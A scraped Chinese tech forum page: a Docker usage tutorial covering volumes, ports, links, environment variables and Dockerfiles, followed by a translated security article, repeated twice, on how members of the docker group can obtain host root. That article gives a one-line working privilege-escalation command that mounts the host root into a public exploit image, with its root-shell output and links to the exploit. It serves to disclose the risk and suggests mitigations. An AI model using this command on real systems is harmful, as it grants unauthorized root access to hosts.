在Docker容器运行期间,对文件系统的所有修改都会以增量的方式反映在容器使用的联合文件系统中,并不是真正的对只读层数据信息修改。每次运行容器对它的修改,都可以理解成对夹心饼干又添加了一层奶油。这层奶油仅供当前容器使用。当删除Docker容器,或通过该镜像重新启动时,之前的更改将会丢失。这样做并不便于我们持久化和共享数据。Docker的数据卷这个东西可以帮到我们。
在创建容器时,通过-v参数可以指定将容器内的某个目录作为数据卷加载:
docker run -i -t -v /home/www ubuntu:latest sh -c '/bin/bash'  
在容器中会多一个/home/www挂载点,在这个挂载点存储数据会绕过联合文件系统。我们可以通过下面的命令来找到这个数据卷在主机上真正的存储位置:
docker inspect -f {{.Volumes}} trusting_morse  
你会看到输出了一个指向到/var/lib/docker/vfs/dir/...的目录。cd进入后你会发现在容器中对/home/www的读写创建,都会反映到这儿。事实上,/home/www就是挂载自这个位置。

有时候,我们需要将本地的文件目录挂载到容器内的位置,同样是使用数据卷这一个特性,-v参数格式为:
docker run -it -v [host_dir]:[container_dir] 


host_dir是主机的目录,container_dir是容器的目录.


 
容器和容器之间是可以共享数据卷的,我们可以单独创建一些容器,存放如数据库持久化存储、配置文件一类的东西,然而这些容器并不需要运行。
docker run --name dbdata ubuntu echo "Data container."
在需要使用这个数据容器的容器创建时–volumes-from [容器名]的方式来使用这个数据共享容器。
 
网络

Docker容器内的系统工作起来就像是一个虚拟机,容器内开放的端口并不会真正开放在主机上。可以使我们的容器更加安全,而且不会产生容器间端口的争用。想要将Docker容器的端口开放到主机上,可以使用类似端口映射的方式。

在Docker容器创建时,通过指定-p参数可以暴露容器的端口在主机上:
docker run -it -p 22 ubuntu sh -c '/bin/bash' 
现在我们就将容器的22端口开放在了主机上,注意主机上对应端口是自动分配的。如果想要指定某个端口,可以通过-p [主机端口]:[容器端口]参数指定。

容器和容器之间想要网络通讯,可以直接使用–link参数将两个容器连接起来。例如WordPress容器对some-mysql的连接:
docker run --name some-wordpress --link some-mysql:mysql -p 8080:80 -d wordpress  
环境变量

通过Docker打包的应用,对外就像是一个密闭的exe可执行文件。有时候我们希望Docker能够使用一些外部的参数来使用容器,这时候参数可以通过环境变量传递进去,通常情况下用来传递比如MySQL数据库连接这种的东西。环境变量通过-e参数向容器传递:
docker run --name some-wordpress -e WORDPRESS_DB_HOST=10.1.2.3:3306 \  
-e WORDPRESS_DB_USER=... -e WORDPRESS_DB_PASSWORD=... -d wordpress
关于Docker到现在就有了一个基本的认识了。接下来我会给大家介绍如何创建镜像。
 
创建镜像
Docker强大的威力在于可以把自己开发的应用随同各种依赖环境一起打包、分发、运行。要创建一个新的Docker镜像,通常基于一个已有的Docker镜像来创建。Docker提供了两种方式来创建镜像:把容器创建为一个新的镜像、使用Dockerfile创建镜像。
 
将容器创建为镜像
为了创建一个新的镜像,我们先创建一个新的容器作为基底:
docker run -it ubuntu:latest sh -c '/bin/bash' 
现在我们可以对这个容器进行修改了,例如我们可以配置PHP环境、将我们的项目代码部署在里面等:
apt-get install php  
# some other opreations ...
当执行完操作之后,我们按Ctrl+D退出容器,接下来使用docker ps -a来查找我们刚刚创建的容器ID:
docker ps -a 
可以看到我们最后操作的那个ubuntu容器。这时候只需要使用docker commit即可把这个容器变为一个镜像了:
docker commit 8d93082a9ce1 ubuntu:myubuntu
这时候docker容器会被创建为一个新的Ubuntu镜像,版本名称为myubuntu。以后我们可以随时使用这个镜像来创建容器了,新的容器将自动包含上面对容器的操作。
 
如果我们要在另外一台机器上使用这个镜像,可以将一个镜像导出:
docker save -o myubuntu.tar.gz ubuntu:myubuntu 
现在我们可以把刚才创建的镜像打包为一个文件分发和迁移了。要在一台机器上导入镜像,只需要:
docker import myubuntu.tar.gz
这样在新机器上就拥有了这个镜像。
 
注意:通过导入导出的方式分发镜像并不是Docker的最佳实践,因为我们有Docker Hub。
 
Docker Hub提供了类似GitHub的镜像存管服务。一个镜像发布到Docker Hub不仅可以供更多人使用,而且便于镜像的版本管理。关于Docker Hub的使用,之后我会单独写一篇文章展开介绍。另外,在一个企业内部可以通过自建docker-registry的方式来统一管理和发布镜像。将Docker Registry集成到版本管理和上线发布的工作流之中,还有许多工作要做,在我整理出最佳实践后会第一时间分享。
 
使用Dockerfile创建镜像

使用命令行的方式创建Docker镜像通常难以自动化操作。在更多的时候,我们使用Dockerfile来创建Docker镜像。Dockerfile是一个纯文本文件,它记载了从一个镜像创建另一个新镜像的步骤。撰写好Dockerfile文件之后,我们就可以轻而易举的使用docker build命令来创建镜像了.
 
Dockerfile非常简单,仅有以下命令在Dockerfile中常被使用:

d2.png

下面是一个Dockerfile的例子:
# This is a comment
FROM ubuntu:14.04
MAINTAINER Kate Smith <ksmith@example.com>
RUN apt-get update &amp;&amp; apt-get install -y ruby ruby-dev
RUN gem install sinatra
这里其他命令都比较好理解,唯独CMD和ENTRYPOINT我需要特殊说明一下。CMD命令可用指定Docker容器启动时默认的命令,例如我们上面例子提到的docker run -it ubuntu:latest sh -c '/bin/bash'。其中sh -c '/bin/bash'就是通过手工指定传入的CMD。如果我们不加这个参数,那么容器将会默认使用CMD指定的命令启动。ENTRYPOINT是什么呢?从字面看是进入点。没错,它就是进入点。ENTRYPOINT用来指定特定的可执行文件、Shell脚本,并把启动参数或CMD指定的默认值,当作附加参数传递给ENTRYPOINT。

不好理解是吧?我们举一个例子:
ENTRYPOINT ['/usr/bin/mysql']  
CMD ['-h 192.168.100.128', '-p']
假设这个镜像内已经准备好了mysql-client,那么通过这个镜像,不加任何额外参数启动容器,将会给我们一个mysql的控制台,默认连接到192.168.100.128这个主机。然而我们也可以通过指定参数,来连接别的主机。但是不管无论如何,我们都无法启动一个除了mysql客户端以外的程序。因为这个容器的ENTRYPOINT就限定了我们只能在mysql这个客户端内做事情。这下是不是明白了~

因此,我们在使用Dockerfile创建文件的时候,可以创建一个entrypoint.sh脚本,作为系统入口。在这个文件里面,我们可以进行一些基础性的自举操作,比如检查环境变量,根据需要初始化数据库等等。下面两个文件是我在SimpleOA项目中添加的Dockerfile和entrypoint.sh,仅供参考:
    []https://github.com/starlight36/SimpleOA/blob/master/Dockerfile[/][]https://github.com/starlight36/SimpleOA/blob/master/docker-entrypoint.sh[/]

在准备好Dockerfile之后,我们就可以创建镜像了:
docker build -t starlight36/simpleoa .
关于Dockerfile的更详细说明,请参考 https://docs.docker.com/reference/builder/。
 
杂项和最佳实践

在产品构建的生命周期里使用Docker,最佳实践是把Docker集成到现有的构建发布流程里面。这个过程并不复杂,可以在持续集成系统构建测试完成后,将打包的步骤改为docker build,持续集成服务将会自动将构建相应的Docker镜像。打包完成后,可以由持续集成系统自动将镜像推送到Docker Registry中。生产服务器可以直接Pull最新版本的镜像,更新容器即可很快地实现更新上线。目前Atlassian Bamboo已经支持Docker的构建了。

由于Docker使用联合文件系统,所以并不用担心多次发布的版本会占用更多的磁盘资源,相同的镜像只存储一份。所以最佳实践是在不同层次上构建Docker镜像。比如应用服务器依赖于PHP+Nginx环境,那么可以把定制好的这个PHP环境作为一个镜像,应用服务器从这个镜像构建镜像。这样做的好处是,如果PHP环境要升级,更新了这个镜像后,重新构建应用镜像即可完成升级,而不需要每个应用项目分别升级PHP环境。

新手经常会有疑问的是关于Docker打包的粒度,比如MySQL要不要放在镜像中?最佳实践是根据应用的规模和可预见的扩展性来确定Docker打包的粒度。例如某小型项目管理系统使用LAMP环境,由于团队规模和使用人数并不会有太大的变化(可预计的团队规模范围是几人到几千人),数据库也不会承受无法承载的记录数(生命周期内可能一个表最多会有数十万条记录),并且客户最关心的是快速部署使用。那么这时候把MySQL作为依赖放在镜像里是一种不错的选择。当然如果你在为一个互联网产品打包,那最好就是把MySQL独立出来,因为MySQL很可能会单独做优化做集群等。

使用公有云构建发布运行Docker也是个不错的选择。DaoCloud提供了从构建到发布到运行的全生命周期服务。特别适合像微擎这种微信公众平台、或者中小型企业CRM系统。上线周期更短,比使用IAAS、PAAS的云服务更具有优势。
 
参考资料:
    []深入理解Docker Volume http://dockone.io/article/128[/][]WordPress https://registry.hub.docker.com/_/wordpress/[/][]Docker学习——镜像导出 http://www.sxt.cn/u/756/blog/5339[/][]Dockerfile Reference https://docs.docker.com/reference/builder/[/][]关于Dockerfile http://blog.tankywoo.com/docker/2014/05/08/docker-2-dockerfile.html[/]

原文链接

Docker 安全:通过 Docker 提升权限

Ansible 发表了文章 • 0 个评论 • 1281 次浏览 • 2015-06-22 14:37 • 来自相关话题

如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#

译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?


解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd 查看全部
如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题
如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#


译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s?



解释
当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案
对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情
上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell。

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github(https://github.com/chrisfosterelli/dockerrootplease),镜像在 Docker Hub(https://registry.hub.docker.com/u/chrisfosterelli/rootplease/)。
翻译原文连接:http://mp.weixin.qq.com/s?__biz=MzA5OTAyNzQ2OA==&mid=206160672&idx=1&sn=ffe9dc83d0a486e044ff45e025465593&3rd=MzA3MDU4NTYzMw==&scene=6#rd